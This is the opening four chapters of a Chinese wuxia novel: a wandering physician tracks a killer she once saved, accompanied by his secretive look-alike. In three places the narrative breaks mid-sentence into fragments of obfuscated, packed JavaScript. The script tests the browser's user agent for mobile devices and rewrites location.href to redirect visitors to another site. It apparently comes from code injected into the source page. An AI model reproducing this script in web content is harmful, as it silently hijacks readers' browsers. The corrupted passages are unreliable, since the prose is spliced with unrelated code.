《风敛余香》 1. 你一定会后悔救了我 “安大夫,中午来我家吃饭吧,早上刚拿了两个鸡蛋,正好烙两个煎饼!” 推开屋门,孙大娘就热情地迎了上来。 “不行!”孙大娘身后窜出一个七八岁大的小男孩,“安姐姐今天要来我家吃饭!” 孙大娘急忙拉住他:“你怎么跑出来了,你娘知道吗?” 小焦心虚地不说话,试图挣开孙大娘的手,安晏走上前,拉过小焦的手腕,对孙大娘道:“多谢您,但我就不去了,陈爷爷刚醒,我再观察半日才放心。”又低头对小焦说,“你呀,赶快回家吧,病才好就出来乱跑,小心你娘打你屁股!” 小焦颇为失落地应了一声,身侧陈家儿子忙问:“我爹真的没事了吗?” 安晏点了下头,未及开口,陈家儿媳就接过了话:“安大夫是神医,哪有治不好的病!安大夫,您想吃什么?我给您做!” “不用,像往常一样,随意吃些就行了。”安晏连连摆手,眼中不由得浮起无奈。 她在黄圩村,已经住了十日。 村民待她热情,她至今也未能习惯。 孙大娘向她告辞,领着小焦走了,说午时给她送来鸡蛋做的煎饼。陈家儿子背上竹筐出了门,儿媳则去了后厨,说春晨野菜鲜嫩,不如和上麦粉,做几个菜团。小焦走出几步,又依依不舍地回过头,请她明日一定去他家吃饭。 明日……若陈爷爷无恙,她就该走了。 十日前,她在黄圩村落脚小憩,偶然发现村中有数人染了瘟疫。这村子贫穷偏僻,村内没有大夫,去城中求医也极为不便,于是她留了下来。 所幸疫情尚未扩散,病症也不算严重,只有陈爷爷因为年纪大了,恢复得慢些。她已经耽搁了太久,该尽快…… 去找她要杀的人。 思绪却在这里中断了。 她忽然感觉脚下的地面晃了一晃。 晃动急骤扩散,如海面汹涌不断的浪潮,安晏忙矮下身,靠着床脚,半跪在地上,听见身后陶罐屋瓦乒乓碎了一地。她下意识地握上腰侧长剑,却不敢轻举妄动,只深凝眉心,分辨着四面八方传来的声响。 不多时,震动终于停止,又等了稍许,不再有余震传来,安晏这才慢慢从地上起身,长长呼了口气。 陈爷爷无事,陈家儿媳也无恙,村子四处渐渐响起人声。有几人被掉落的重物砸伤,还有一人摔断了腿骨,众人将伤者送至陈家院子,安晏请大家帮忙准备清水和布条,一边迅速用木板将那人的腿固定起来。 这地震来得突然,但村民似乎习以为常,并未惊慌。接好了那人的腿,安晏便为其余伤者清洗伤口,敷上草药,再用布条仔细包扎。众人井然有序,突然,却见一人匆匆跑过院外,高喊着:“不好了,村子外面的路被山上落石堵住了,有人被埋在下面了!” 远处有人应道:“被埋住的有多少人?大家一起过去看看!” 村子四处陆续响起人声,村民带上工具,向村口聚集,安晏踟蹰稍许,终究起身,追了出去。 她不能等在村子里,早一刻救治,或许就能多救一个人。 ———————————— 村民救回了三个人,最终,却只有一个人活了下来。 村中有弃用的民房,众人将民房收拾出来,安晏带着伤者住了进去。伤者昏睡了一整日,安晏便在屋子里守了他一整日。 他是一个很好看的男人。 这个人,和她要杀的人,有着一模一样的脸。 但他却不是那个人。他的身上除了因落石落木造成的新伤,还有似乎不久前留下的旧伤,她为那个人治过伤,他们不是同一个人。 他是谁?他和她在找的人,有什么关系? 心中生起疑虑,但她又觉得这样无端怀疑他人,不是一个医者应该做的事。天底下总有几个长相相似的人,他受了伤,他只是一个病人。 ———————————— 第四日清晨,床上的人终于睁开了眼。 朝露微凉,鸟雀沿窗吵闹,身下木床硬邦邦地硌着骨头,屋顶简陋而陌生,窗纸贴得不牢,晨风挤进缝隙,发出一阵嘶哑的沙沙声。 他稍稍安静了片刻。 他想,他又活了下来。 路过南青山时,好巧不巧地赶上了地震,以他的武功,这地震他本可以轻易逃开,但他的脚,却好巧不巧地卡进了地缝。 偏又好巧不巧地,他在一个月前所受的内伤突然发作起来,他没能躲过砸向他的山石,头侧被狠狠地一撞。 就好像是老天爷在说:你该死了。 他觉得实在荒谬可笑。 整个江湖,武功胜他者不足十人,他却要死在荒野山路,残木碎石中吗? 但好像,也无不可。 人总归是要死的。 ———————————— 可他没能死。 不知睡了几日,但呼吸已经平稳,血肉间的疼痛倒无足挂齿。他试着活动身体,陈旧的木板床发出吱呀一声,紧接着,他听见屋外传来响动。 一个年轻的姑娘出现在他视野中,她穿着春草色的袄裙,推门走入的时候,仿佛屋内的光影都跟着亮了一亮。 他却眸色微暗,下意识地将右手收回袖中,摸到了袖底的薄刀。 还好,身上仍是原本的衣着。他的刀,没有被他们拿走。 这姑娘,是一个江湖人。 他未作声,看着她走到床边坐下,对着他笑了笑:“不用害怕,我是大夫,我先看一下你的脉象?” 她伸出手,示意他也伸出手。 他迟疑稍许,终于还是收起了眼底的杀意,向她伸出手腕。 左手的手腕。 安晏将三指搭上他腕脉,一边道:“我叫安晏,这里是黄圩村,但我不是村子里的人,我也是偶然路过此地。” “我叫墨……白。”墨白道,稍稍停顿,换上一副温润柔和的声线,“多谢你,是你救了我吗?” “是村子里的大家一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956538|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救了你。”安晏道,语气微黯,“但很抱歉,你的同伴,我还是没能救下他们。” 同伴? 这个词语实在太陌生,他怔了半晌,才明白安晏在说什么。 与他同行的那些人,她不提,他已几乎忘了。 他们只是他临时雇来,扮成他家仆的人,他们不是他的同伴。他没有什么同伴,那些人都死了,正好省了他亲自动刀的麻烦。 但他的面上仍浮起些悲色,又默了稍许才道:“是我要多谢安大夫救命之恩,方才活动身子,只觉得各处都发痛,我的伤势,很严重吗?” “墨公子放心,”安晏松开了手,“多是些皮肉伤,休息三五日就能行走如常。但你的身体里,似乎留有旧伤,墨公子是江湖人?” 安晏这一问本是礼节,墨白心中却再次生出警觉。这姑娘的武功和医术有多高,他不能确定,但他为了养伤,暂时封住了自己的内力,他的刀也原封不动地放在袖子里,她应该不会察觉他的身份才对。 他便折中着道:“我不是江湖人,只是学过几天拳脚防身。旧伤……是月前遇见劫匪,那时留下的。”他担心说多错多,就转移话题道,“我是黎州人,家中变故,父母身亡,我本打算换一处地方生活,可谁知一路尽是波折,先是遇上劫匪,后又遇上地震,身边的人都死了,大约是老天爷在提醒我,我也该去地下与家人团聚了。” “墨公子,你千万不要胡思乱想。”安晏见墨白神容黯淡,一副求死的模样,急忙劝道,“你两次死里逃生,正是老天爷想让你好好活下去。越国疆土辽阔,如今天下太平,做什么不能生活?你这伤也不要紧,只要仔细休养几日,新伤旧伤,我一定都能治好!” 她好不容易救活的人,怎能让他轻易去寻死? 她好不容易救活的人—— 脑子里浮现出一个人的脸,和面前这个人很像,却又截然不同。 那个人,也是在月前,拖着一身濒死的伤,倒在她面前。那个人,也是她好不容易救活的人,她却必须要杀了他。 “好,安大夫,多谢你。”墨白的声音拉回了她的思绪,“只是,我已几乎身无分文,不知道该如何报答你。” “我是大夫,治病救人,是我的分内事,墨公子只需安心养病,不用提什么报答。”安晏连忙道,起身,“我去看看村子里有没有能用的药草,墨公子先在屋中休息吧。” 说完,她向墨白道了声辞,离开了屋子。 墨公子和那个人,不可能是同一个人。 墨白是一个温柔的人。他受了伤,失去同伴,面色苍白虚弱,目光难掩悲痛,但即使如此,短短片刻,他已对她道了三次谢。 可那个人,那个她费尽艰辛救活的人,那个她苦寻着要去杀死的人,他没有对她说过一句感谢,他对她说的第一句话是—— “你一定会后悔救了我。” 她确实后悔了。 他是一个杀人魔。 她救的人,理应她负责去杀。 2. 你是一个好人 因墨白伤势未愈,安晏便继续在黄圩村住了下来。 时常有村民到民房请安晏诊病,瘟症早已解了,但村民似乎非常信任她,身体凡有不适,都要来找她求诊。诊病之后,村民也不急着走,就坐在院子里同安晏闲聊,或者帮她晾晒药草,劈柴浣衣,准备三餐。 墨白看着,听着,想,她好像真的是一个大夫。 三日之后,墨白终于能下床走动。天气渐暖,他时常只披一件长衣,坐在门槛上,和村里人聊天。他生得清逸俊朗,立如玉树临风,惹得村中男女老少路过院子,都忍不住停一停脚步,将目光聚焦在他身上。他读过书,性子也温和,于是常有小孩子缠着他,听他讲故事。他一向来者不拒,讲故事的间隙,就同孩子们问一问村子的事,安晏的事。 安晏悄然观察着,终于彻底打消了对墨白的怀疑。 看得久了,墨白和那个人的长相,她也看出了不同。 墨白伤势渐愈,安晏再次考虑起离开黄圩村,继续赶路。她不记得她同墨白说过她要去什么地方,但一日晚上,墨白突然问她:“安大夫,你明日就要出发,去寻你要寻找的人吗?” 她甚至没有同墨白说过她打算启程的事。 她忍不住问:“你如何得知我在找人?” 墨白浅淡地一笑:“自然是听村里人说的,你在寻找的人,是什么样子的?或许来时路上,我见过呢。” 安晏却默了半晌,才低目道:“是一个年轻男子,和你差不多年纪,差不多身量,甚至和你的容貌也有八九分相似。他离开时,穿着白衣,但我不知道他是否早已换了装束。”顿了顿,“墨公子,多谢你的好意,但我想,你应该没有见过他。” 因为,见过他的人,除了她,都死了。 他明明杀死了医馆里整整十五个人,他的白衣,却没有溅上一滴血。 旧时景象在她眼前闪过,她没有注意到,墨白眼底一闪而过的暗光。 她继续道:“我确实打算近日就动身,你的伤已经不碍事了,也无需再用药。我身上银钱也不多,但还能给你留下几两银子,应该足够你生活一阵子了。” 她没有追问他是如何知道她要离开的,但既然知道了,不如正好同他告辞。 然而,墨白却道:“安大夫,我能和你一起走吗?” 安晏一怔。 她有些不确定墨白的意思:“墨公子,我们同路吗?你打算去哪里?” 墨白却摇摇头,眸子覆上一层伤感和惘然:“我没有想去的地方,我也不知道该去哪里。我知道,我说这样的话,会令你觉得为难,但我真的无处可去了,我能……和你一起走吗?” 安晏确实很为难。 “墨公子,”她斟酌着措辞,“江湖凶险,你和我一起走,恐怕不是很稳妥。你读过书,或许能去王都谋一份官职。王都离得不远,你若担心路上安全,我可以在附近镇子上雇两个镖师,送你过去。” 墨白静了静:“你是觉得……我会拖累你吗?” “我不是这个意思。”安晏急忙解释,“我是怕我剑术不精,万一遇到危险,没办法保护你。” “我知道了,但我不想去王都。家父家母,就是因为碍了那些大人的路,才丢了性命,我这辈子,都不愿再与王都有任何联系。”墨白低下头,好像眼底的光,一点点灰暗了下去,“抱歉,方才是我僭越了。我原本想着,若能与你同行,或许能帮你做些什么,以报相救之恩,只是,我不是江湖人,和你一起走,的确只是你的拖累。” 他说着起身,没有看她,对着她深深行了一礼。 安晏站在原地,整个人手足无措。 她不是嫌他拖累,她没有说谎,她是真的担心墨白和她一起走,她无法护他周全。他不知道她要去找的人是谁,他不知道那个人,究竟有多危险。 她恳切地向他解释:“墨公子,你可知道,我要去找的人,是谁?” 墨白摇了摇头。 “他是一个杀手,或者应该说,他是一个杀人魔。他已经杀了很多人,我是追着他杀人的痕迹,一路到了南州。他的武功很高,我实在无法保证,能在杀死他的同时,保护你的安全。” “嗯。” “我不是不想带上你,路上有人作伴,总是好的,可我不能将你置于危险之中。” “嗯。” 墨白始终只有一个字,平静、平淡,安晏却愈发百爪挠心:“你,你能明白我的意思吗?你不想去王都,没关系的,那你想去哪里?我只是不想让你遇上危险。” 墨白看着她,半晌,忽然叹息了一声。 他说:“安大夫,你是一个好人。” 安晏没有听懂。 墨白复又垂了眼睫:“安大夫的意思,我听懂了。只是,我一时还没有想到去处,总不好漫无目的地在江湖上乱走。所以……我能不能和你走一段路,如果,你见到了你要找的人,或者,我想到了要去的地方,我就离开,可以吗?” 墨白给了她一个无法拒绝的理由。 但她其实根本没有办法拒绝他。她无法对他如此黯淡,甚至带了乞求的语气充耳不闻,她想起几日前他还说着去找他过世的父母,根本没有多少求生的欲望。他的亲人、家人都不在世了,就算她拒绝他,他独自一人行路,就能平安无虞了吗? 她仍迟疑着,但终究点了头:“好,那,我先送你到下一个县城吧,如果路过兴德郡,你可以考虑留在郡城里。” 县城也好,郡城也好,总归比乡野更安全一些。 墨白的目光终于亮了一亮。 他向她保证:“你要找人、查案,我都可以帮忙,如果遇上危险,你只管丢下我就是了。我会自己想办法,绝不会成为你的拖累。” “乱说什么,”安晏一皱眉,“既然说要带上你,我就一定会保护你。” “那,”墨白似乎放松下来,轻轻笑了一声,“无论如何,先多谢安大夫了。” 安晏是一个江湖人,但她却是一个好人。 他擅长演戏,他举目无亲,落难江湖,他是一个温柔、善良的可怜人。 所以,他早就笃定,她一定会带上他。 差不多的年纪,差不多的身量,差不多的容貌——她在找的人,是不是,也是他在找的人? ———————————— 转日,安晏和墨白离开了黄圩村。 二人穿过南州,从成州一路北上,经农泉县,至石岗县。 入夜之后,县城人声静默,街旁一间不起眼的民居门边,却坐着一个官衙。月色皎皎,映着惨淡的院墙,那官衙抱着刀,倚着门框昏昏欲睡。清幽的月光中,突然飘起了一痕清淡的烟,悠悠荡荡地弥漫开来。过了片刻,一个人影从墙角悄无声息地走出。 正是安晏。 那官衙一动未动,只似乎睡得更沉了。 安晏走上前,确认那官衙确实睡死了过去,这才将院门打开,让墨白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956539|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走进院子。 正房里停着一架木棺,安晏走到木棺前,墨白则去拿来了堂内的烛台。 打开木棺,正值夏时,尸体虽才停了两三日,但已开始散发出腐臭的气味。安晏下意识地后退了半步,屏住呼吸,才又再次上前,弯下腰,仔细观察起来。 “如何?”墨白站在一旁,一手捂着口鼻,一手执着烛台,轻声问。 “和农泉县的死者一样,只有喉咙一处刀伤。”片刻后,安晏直起身,双手用力,将木棺合上,这才长长吐了口气,“一模一样的刀法,干净利落,一刀毙命。” 墨白目色愈深:“还有其他吗?——只凭刀口,如何能断定凶手身份?” “这的确只是我的推断,算不得证据。”安晏垂下目光,暗自咬了咬嘴唇,“可是,我这一路,一共见到了二十三户无故被杀的人家,数十死者,颈间的伤口如出一辙,除了他,我实在想不到第二个人了。” 整整二十四户人家。 江湖中武功足够高的人不少,但除了他,还有什么人,会毫无理由地杀死这些无辜的百姓? 又或许,他并非毫无理由,但她从始至终,都没能看懂他。 墨白默然半晌:“我们接下来,去什么地方?” “去下一个镇子。”安晏眉心深凝,“希望……至少,能赶得上救一个人。” 成州几处县城,死者房外都有官衙看守,这件事,大概已经惊动了官府。可凶手在暗,官兵在明,她也不觉得,只靠几个官差就能找到他,抓住他。 更况且,那杀人魔是她救活的。她必须亲手杀了他。 ———————————— 然而,安晏与墨白星月兼程,到达兴德郡城郊时,却只打听到民家夫妇无端被杀的噩耗。 “还是晚了一步。”安晏懊恼道。同先前一样,她和墨白趁夜潜入死者房间,迷晕看守,查看尸体。这对夫妇颈间的伤口与石岗县死去的妇人同出一辙,但尸体尚未开始腐化,凶手显然才离开不久。 “怎么办?”墨白执着烛台,火光半明半暗地扑朔,“立即追上去吗?” 安晏思索片刻:“先问一问邻居吧。” 天色尚早,晨光未明,旁边的人家似仍在睡梦中。但凶手不会等人,安晏还是硬着头皮敲响了隔壁民居的房门。 安晏敲了很久,门内才终于传来脚步声。 “您……” 木门向内打开,安晏一个字没说完,开门的妇人就高声大骂起来:“有什么事!大清早的敲敲敲,老娘的脑壳都要被你们敲出毛病了!” “抱歉。”安晏连忙向那妇人抱拳,“实在是有些急事,我们想打听一下旁边遇害的夫妇……” “我不知道。”那妇人蓬头乱发,神情不耐,“我不是都和治吏说过了吗,怎么又来问?我没见到他们留了谁,没见到谁离开了,也没听见任何动静!别问了!你们赶紧走吧!” 说完,“砰”地将门关上了。 门楣上的灰尘扑簌簌地落了安晏一身,她回过头,有些无奈地望向墨白。墨白笑了笑,将挡在她头顶的手移开:“是我们打扰了人家休息,人家生气,也是情有可原。不过别灰心,我们先试试另一侧人家,如果始终问不出线索,我们还能去找治吏。” “只好如此了。”安晏叹了口气,转过身,盘算着该如何措辞,身后忽然传来了一个苍老的声音。 “那家人已经搬走了。不过,我或许知道你们在找的人。” 3. 干净利落,一刀毙命 兴德郡郡府,一户民宅内。 “顾将军,您看……”郡府判官半弯着腰,小心翼翼地看着从屋内走出的顾鸿云。 这已经是郡内发生的第四起凶案了。 这四起凶案如出一辙,死者家中没有任何财物失窃,四周邻居没有一家听见响动,死者均被一刀封喉,毫无挣扎抵抗的痕迹。每一起案件,似乎都是熟人犯案,目的也似乎都是寻仇,但究竟是什么人,在接连四个县城都有熟人,还都是仇家? 前三个案子,郡守并未重视,这第四个案件虽然发生在郡府,但死了仅仅一个普通百姓,也不算什么大事。然而转日,却来了一位钦差查案。 他们也这才知道,兴德郡内虽然只有四起凶案,但在成州,包括南州、俞州、洛州,却一共死了数十人。 离开屋子,顾鸿云始终凝眉不展。正如判官所报,这案件的确蹊跷,若真的是同一人所为…… “顾将军?”那判官见顾鸿云迟迟不应,再次出声唤道。 “嗯。”顾鸿云回过神,看了判官一眼,“回郡衙。” “是,是……那顾将军,您请。”判官不好再问,躬身指引顾鸿云乘上马车。这位钦差是车骑将军,奉旨前来查案,郡守与他似乎不待见,判官又负责一郡案件审理,这接待的事务,就自然而然落在了他身上。 这位将军倒不是难伺候的主,他对衣食住行没有讲究,排场架子一概没有,唯一难办之处,就是永远沉默寡言,永远脸色严肃。 于是判官时时刻刻都觉得,这位顾将军,心情极差。 一路无话,回到下榻之处,判官着人去传午膳,而后便告辞了。顾鸿云独自坐在屋子里,再次陷入了沉思。 数日前,消息传进皇宫,皇帝当即指派了钦差查案。 二十二年前,这位皇帝才刚即位,江湖就生了一场大乱,险些危及江山社稷。那场动乱像是噩梦缠绕着他,即使过去二十余年,他仍然心有余悸,未免再重蹈覆辙,他一连传下数道旨意,务要查明此案,捉拿凶手。 但——查明此案,谈何容易。 遇害者只是普通百姓,彼此互不相识,也毫无关联。死者只有喉咙一处刀伤,尸体上血迹不多,那人出刀干净利落,切断咽喉,甚至没有划破气道旁的大血管。那个人,究竟为什么要杀死这些人?凶案从南一路北上,凶手又究竟想要……去什么地方呢? 继续追踪下去,遇到那个人,以他的功夫,他一定会死在那个人刀下吧? 顾鸿云闭上眼,眉心似在隐隐作痛。 怪不得右将军荐他来查此案,确然不是什么好差事啊。 ———————————— 安晏转过身,身后,是一个年逾半百的老人。 这个老人,是一个盲人。 安晏问道:“您知道我们在找谁?” 老人回身,摸索着跨过门槛:“进屋里说吧。” 安晏稍稍停顿,便随老人进了屋,墨白跟在二人身后,却不由得沉了目色。 几日相处,他早已知道安晏是什么样的人。但善良也好,心软也罢,就这样毫不设防地跟着一个陌生人走进昏暗的房间,她真的是一个江湖人吗? 这老人看起来只是普通人,但江湖高手,往往善于隐藏内息。 就像他。 房内没有灯烛,借着微弱的晨光,才能勉强辨认房中陈设。老人摸索着桌沿坐下,安晏坐在了他对面,墨白却未落座,站在了安晏身后。 安晏急着问凶案的事,没有留意墨白:“老人家,您知道我们要找的人?您是听见了那间屋子里的响动吗?” “我没有听见什么。只是……”然而,那老人却摇了摇头,又停了半晌才道,“我认得一个人,或许,就是你们在找的人。” “他是谁?”安晏连忙问,“您为什么会这么说?” “早些日子,秦家夫妇收留过一个江湖人。那江湖人,曾来我这里,问过我一些治病的事。”老人抬手指了指窗户,窗沿上晾晒着不少药草,这老人竟是一位大夫,“这次,秦家夫妇突然遇害,我立即想起了这个江湖人。” 安晏没有说话,她知道老人的话还未说完。 “那时,他问了我两个问题,我至今仍然记得。”老人缓缓地吐了口气,那段记忆,他现在回想,仍觉得心底似泛着冷意,“他问我,是否有某种药,可以消除一个人的记忆,这种药,又该怎样解开。这没什么,用针或者药物控制一个人记忆的法子,江湖上自古便有了。可他第二个问题,却是问我,身中剧毒或身患绝症的将死之人,临死之前,究竟是如何绝望的样子。” “绝望的样子?”安晏不由得反问。 老人点头道:“是,他似乎着迷于此,极力想听我的形容,可我少时便盲了,哪里能描述出来?他数次询问不得,才终于作罢,不再继续追问了。” 老人说完,安晏亦沉默下来。 天色渐渐明亮,她却静默了许久。 终于,她回过头,看向身后的墨白:“我们停留半日,城门落锁前再走,行吗?” 墨白弯起了嘴角,恰到好处的弧度:“当然可以,都听你的。” ———————————— 安晏告诉老人,她也是大夫,因见他眼睛不便,想帮他收拾一下药柜和药草。老人只说听声音,那人是个约莫双十年纪的年轻男子,没能再提供更多关于凶案的线索,倒是和安晏讨论了不少药方。安晏医术高明,老人困惑十数年的问题,竟都被她一一化解,老人惊叹不已,忙问安晏师从何人。 “我师父姓宗。”安晏摸了摸鼻子,有些不好意思地说,“我的医术,也就学了师父八九分,您夸我神医,我实在愧不敢当,师父才是江湖第一神医。” 老人没有说话,似乎若有所思,那边正帮忙清洗药草的墨白忽然问道:“从未听你说过家里人,你的师父住在哪?你不回去看看他们吗?” “实不相瞒,我啊,是被师父赶出来江湖历练的。”安晏忍不住重重叹了口气,愁眉苦脸地说,“师父说了,三年之内,若无江湖大乱,不许我回去。三年期限未满,我的武功医术,也还没有多少长进,这又……有我必须亲自去解决的麻烦,回去的事,以后再说吧。” 墨白轻笑了一声:“顺路回去,也不行吗?你是我的救命恩人,可以的话,我也很想见一见你的师父。” “他们离兴德郡很远,一点都不顺路。”安晏又叹了口气,“现在还不到回去的时候,而且,除了师父,家里还有许姨姨和唐姨姨,许姨姨不喜欢外人拜访,你若想去做客,我要先去征得她首肯才行。” “好,不着急,我们先找人。”墨白不再追问,仍然笑望着她,双眸温和,像落进了暖风,“这些我已经洗好了,接下来要做什么?” “窗边还有地方吗?”安晏转头望了望,“辛苦你再拿两张草纸,像刚才那样铺好晾晒就行。” “好,不辛苦。”墨白笑着应下,眼中深色静悄悄地闪了一瞬。 这就够了,他不能打草惊蛇。 她竟是他们的弟子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956540|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他们消失了二十二年,不要说行踪住所,就连生死都无人知晓。江湖里每个人都在寻找他们,但没有一个人能够找到他们,他也不例外。 那么,如果他一直跟着安晏,是不是终有一日,他就能见到他们? 安晏用剑,那个剑法——那个,整个江湖都梦寐以求的剑法,他们也教给她了吗? ———————————— 洗晒好药草,日色已经偏西。 安晏向老人辞行,然而老人却借口有事请教,又说厨房还有粟米,让墨白去烙几个煎饼路上吃,将他赶去了后厨。 墨白知道老人是故意支走他,但他并未点破,径自去后厨烙了几张饼——也有老人的一份。回到屋子,老人已经同安晏说完了话,两人便一起告辞离开了。 兴德郡毕竟是一郡郡府,行人车马,络绎不绝。走进城门时,一辆马车从二人身侧急速驶过,安晏吓了一跳,墨白看见,笑着将她拉进道路里侧。 “小心些,往边上走吧。” “嗯。” 她应了一声,他的声音温和如夕风,经过他身边时,她仿佛闻到了一阵沉木的香气,好似连蝉鸣都静了一瞬。她忍不住想,这样温柔的一个人,老人究竟为什么会怀疑他呢? 离开前,老人对她说,墨白对她有所隐瞒,告诫她不要尽信他人,尤其不可将师父的住处告诉墨白。 她答应了老人,却不能明白究竟。 就算墨白有所隐瞒,但她也不曾对墨白知无不言,谁没有几件不愿与人说的事情呢。说到底,他们只是恰巧相遇,暂时同行,等她找到了那个人,等墨白找到了去处,他们就会分道扬镳。 “墨公子,”安晏不再多想,转而向墨白说起自己的推测,“不知你是否留意到了,这些命案,都有一个共同之处。” “愿闻其详。” “那老人家说秦家夫妇曾收留过一个江湖人,就是这句话,让我突然想起一件事。”安晏思忖着道,“所有被杀的人,膝下都无子女——无论死于战争,远嫁他乡,或是因病早夭,他们的孩子,都不在身边。” 墨白若有所思:“的确如此,我先前并未留意。” “不止如此。”安晏续道,目光微微闪动,“我从洛州开始追查,每个死者所在的城镇之间,都是大约两三日的路程,自南向北,连成一线——墨公子,你觉得,这意味着什么?” 墨白看着她,眼角微弯:“我猜,这些城镇,都是那个凶手曾经落脚的城镇,而那些被杀死的人家,都曾经留宿过那个凶手。”顿了顿,“那个凶手,恐怕是专门去找没有子女的人家借宿的。” 他虽未走过二十三个城镇,但成州几起命案,他都见过了,城镇的位置,死者的特征,他都记在了脑中。那老人的话给了安晏灵感,也让他心中有所猜测,再加上安晏方才说所有死者都无子女在身边,种种线索串联成一体,他一瞬间便想通了其中关节。 “你也这样想?”安晏听见墨白的猜测,双眼亮了一亮,随即却又凝了眉,“他专门找没有子女的人家借宿,或许正是想利用他们思念子女的心情,可他……为什么要杀了他们呢。” 墨白没有回答。 他猜到了原由,但是他不能说。 安晏似乎也没指望他,一边思索,一边自语道:“他一定不是毫无理由地杀人,那些人只是普通百姓,对他没有威胁,也根本不知道他的身份,他要杀死他们,难道——” 猛地住了脚,抬起头:“不好,那个老人家,恐怕有危险!” 4. 你打不赢我 安晏说着便转身往回走。 墨白急忙跟在她身侧,道:“你先冷静,秦家夫妇是前夜遇害,凶手应该早已走了。” 安晏却恍若未闻,一脸焦急与懊恼:“我早该想到,他杀死这些人,很可能是为了消除他的痕迹。我不知道他为什么没有杀死那个老人家,可就算他一时忘了,他一定还会再回来,他想杀的人,绝不可能算了。” 墨白目色闪动,终究未置可否:“好,那我和你一起回去。” ———————————— 城郊的街巷,已随着夜幕沉入寂静。 门内没有人应声。 日色已落,透过窗子,也只能看见一片漆黑,她看不见人影,甚至听不到门内有任何响动。 老人腿脚不便,无法视物,他会去什么地方? 晚风闷热,寒意却如小虫慢慢地攀上背脊。安晏后退一步:“墨公子当心,我要踢开屋门了。” 墨白依言向旁边避开两步。许久无人应门,安晏的担心恐怕成了真。然而未等他再叮嘱一句小心,身后,街道对面的房檐上,忽然传来一声轻响。 是一个男人的声音。 “好久不见啊,小大夫。” 凉而薄,有如长夜的月光。 “还有,弟弟。” 墨白倏然回头,房檐上立着一个漆黑的身影,他看不清那人样貌,而身侧却是佩剑铮然出鞘的利响,猎猎真气令他下意识地后退半步,安晏已如满弓之箭,向房檐之上的人掠去! 那剑气明明本是夏草葳蕤的颜色,此刻染着月光,却似燃烧着幽冥厉火! “伏焱——!” 那个男子——伏焱,却仍好整以暇地立着,待安晏一剑刺至胸前,他才将步子一错,腰身一矮,袖中一柄银刀滑出,重重击在采萧剑上! 这看似平常的一击,却携了千钧内力,狂风冲散了剑气,她不得不回转剑势,落在地上,双眸却仍死死地盯着伏焱,仿佛结了一层寒冰。 “小大夫,”伏焱轻声一笑,“你看,我就说,你打不赢我。” 安晏紧紧握着剑柄:“那些人——那二十三户人家三十九人,都是你杀的?” “你漏算了一家。”伏焱毫不否认,“第一家人,手法有些不同,所以,一共是二十四户,四十一人。” 安晏咬了咬牙:“所有人,都是曾经留宿过你的人家?” “不错,小大夫很聪明。”伏焱道,“他们都是善良的人,待我如同亲子,我本想看一看他们知道我要杀死他们,脸上会是怎样的表情,但看过之后,也就如此而已,我便不再费那些功夫了。” 话音全无波澜,仿佛只是好心解释了一桩普普通通的疑惑。 “你——!”安晏不由得怒从心起,长剑抬高几寸,又顿在半路——他说得对,她打不赢他。 至少这样,打不赢他。 她压抑着怒火道:“你究竟为什么要杀死他们,为什么要恩将仇报?就为了——就为了要看——就为了这种理由吗?” 伏焱却笑了。 他仿佛听到了一个极为有趣的问话,清幽的笑声在夜色里突兀而诡异:“小大夫,你忘了我是什么样的人吗?我原本就是一个心狠手辣,没有人心的恶魔啊——这个恶魔,正是被你救活的,不是吗?你不正是因此,才想要杀了我吗?” 屋脊上的人背风而立,星辰寥寥,月色如冰,伏焱居高临下地俯瞰着他的救命恩人——当真,像极了一个魔鬼。 安晏攥紧了手,坚硬的剑柄硌得她指节发痛。 是,是她救了这个嗜杀嗜血的魔鬼,是她的责任,所以她要杀了他。但在此之前,她还有一件事情要问清楚—— “你为什么要叫他‘弟弟’,你究竟是什么人?” 墨白与伏焱二人容貌相似,莫非真是兄弟不成? 伏焱却不答,笑容在夜色里张扬:“你确定还要问吗?屋子里那个老人的死活,你不关心了吗?” “你——!” 安晏一惊,猛地想起那沉寂如冥的房间。她下意识地抬剑,却一时无措,不知道该进该退,然而伏焱却转过身,不以为意地摆了摆手。 “别担心,这是最后一个人了,我前日没有杀他,就是为了等你来。他还有最后一口气,小大夫,能不能救活他,就看你了。” 他说罢就沿着房脊离去,墨白不由得出声道:“等等!” 身后传来“砰”的一声,是安晏不再理会伏焱,踢开屋门,冲进了屋子。 伏焱停住脚,回过头,漆黑的眸底似湮没了所有月光:“我劝你啊,还是先想起自己是谁,再决定为谁卖命吧。” 墨白不禁一顿,伏焱已跃下房顶,走入小巷,无声无息地消失在了黑夜里。 墨白踟蹰稍许,终究没有去追,也随后进了屋。 